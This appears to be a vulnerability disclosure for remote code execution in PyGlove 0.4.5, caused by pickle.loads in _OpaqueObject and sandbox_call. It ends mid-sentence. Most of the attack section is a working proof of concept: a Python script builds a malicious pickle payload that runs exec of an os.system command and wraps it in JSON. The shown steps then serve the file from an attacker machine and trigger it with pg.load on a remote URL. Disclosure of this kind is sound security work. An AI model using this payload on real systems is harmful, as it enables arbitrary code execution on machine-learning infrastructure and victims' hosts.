PyGlove - Version 0.4.5 / Remote Code Execution (RCE) via Insecure Deserialization based on _OpaqueObject JSON data stream (Base64)

Introduction

PyGlove is an open-source library originally developed by Google, designed for symbolic programming and meta-learning. It is widely used in automated machine learning (AutoML) architectures to define, run, and scale search spaces for hyperparameter optimization and neural architecture search.

The library enables developers to manipulate complex Python object hierarchies symbolically, facilitating seamless configuration updates and execution sweeps. Because AutoML experiments require distributing trials across large-scale compute clusters (leveraging platforms like Kubernetes, SLURM, or cloud services), PyGlove is highly integrated into machine learning training workflows. Safeguarding its state deserialization primitives is crucial to preventing infrastructure hijack and data exfiltration in AI/ML environments.

Vulnerability Description

PyGlove is vulnerable to Insecure Deserialization leading to Remote Code Execution (RCE). The framework relies on the pickle module to handle complex object types and inter-process communication results. These vulnerabilities are severe because they can be triggered through high-level symbolic loading functions (pg.load, pg.from_json) that are commonly exposed to external data sources or remote URIs.

The vulnerable code in pyglove/core/utils/json_conversion.py:

The _OpaqueObject class is designed to handle arbitrary Python objects within JSON structures by using pickle as a bridge. This implementation directly calls pickle.loads on base64-encoded strings provided in the JSON input.

class _OpaqueObject(JSONConvertible):
  ...
  def decode(self, json_value: JSONValueType) -> Any:
    assert isinstance(json_value, str), json_value
    try:
      # INSECURE: Directly calls pickle.loads on the decoded base64 string
      return pickle.loads(base64.decodebytes(json_value.encode('utf-8')))
    except Exception as e:
      raise ValueError('Cannot decode opaque object with pickle.') from e

The vulnerable code in pyglove/core/coding/execution.py:

Additionally, sandbox_call contains a critical sink when deserializing subprocess results:

def sandbox_call(func: Callable[..., Any], ...) -> Any:
    ...
    # INSECURE: Receiving results from a subprocess and deserializing them
    result = pickle.loads(result_from_subprocess)
    return result

Technical Impact Analysis

Attack Scenario

Reproduction Steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
kw0@kw0l4b:~ $

1. Payload Generation on the Raspberry: Run the specialized exploit.py script to generate the malicious_config.json file directly in the shared path:

Python (exploit.py) JSON Payload Generation

import pickle
import base64

# We generate a payload that uses 'builtins.exec' to be independent of the
# 'os' module (posix vs nt) at pickle generation time.
# This avoids the "ModuleNotFoundError: No module named 'posix'" error on Windows.

payload_cmd = "__import__('os').system('calc.exe')"

# We use a structure that invokes exec on the command in the victim process
class UniversalRCE:
    def __reduce__(self):
        import builtins
        return (builtins.exec, (payload_cmd,))

# Generate the pickle payload
payload = pickle.dumps(UniversalRCE())
encoded_payload = base64.b64encode(payload).decode('utf-8')

# Create the malicious JSON with the PyGlove structure
malicious_json = f"""
{{
  "_type": "pyglove.core.utils.json_conversion._OpaqueObject",
  "value": "{encoded_payload}"
}}
"""

with open("malicious_config_raspberry.json", "w") as f:
    f.write(malicious_json)

print("File malicious_config_raspberry.json generated successfully.")
print("This file is compatible with Windows even if generated on Linux/Raspberry.")

Run the script:

python exploit.py

2. Serve the API JSON on the Raspberry:

python -m http.server 8000

On Windows (victim) - IP 192.168.1.88

PS L:\HTTP_Code_Filleter\OT2\pyglove> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
PS L:\HTTP_Code_Filleter\OT2\pyglove>

1. Create the virtual environment:

python -m venv .venv

2. Activate the virtual environment:

.venv\Scripts\activate

3. Install PyGlove and network dependencies:

For PyGlove to handle the HTTP protocol via fsspec, it is necessary to install fsspec and its network engines (requests and aiohttp) along with the library:

pip install fsspec requests aiohttp pyglove

4. Trigger the RCE by invoking the remote JSON API:

We invoke the remote JSON API controlled by the attacker from http://192.168.1.90:8000/malicious_config.json:

python -c "import pyglove as pg; pg.load('http://192.168.1.90:8000/malicious_config.json')"

Other RCE vectors in PyGlove remotely controlled by an attacker

Executive Summary: Multiple RCE Vectors via Insecure Deserialization in PyGlove

The research documents a critical RCE vulnerability in PyGlove caused by the usage of pickle for deserializing arbitrary objects, specifically within the _OpaqueObject class and the sandbox_call execution module.

• Root Cause: The framework implements _OpaqueObject to handle arbitrary Python objects by wrapping base64-encoded pickle payloads within JSON structures. This allows for the automatic, insecure execution of serialized code during standard JSON loading operations.
• Exploitation Mechanism: Attackers can inject malicious _OpaqueObject payloads into any JSON API endpoint, configuration file, or distributed state file consumed by PyGlove’s symbolic loading functions (e.g., pg.load,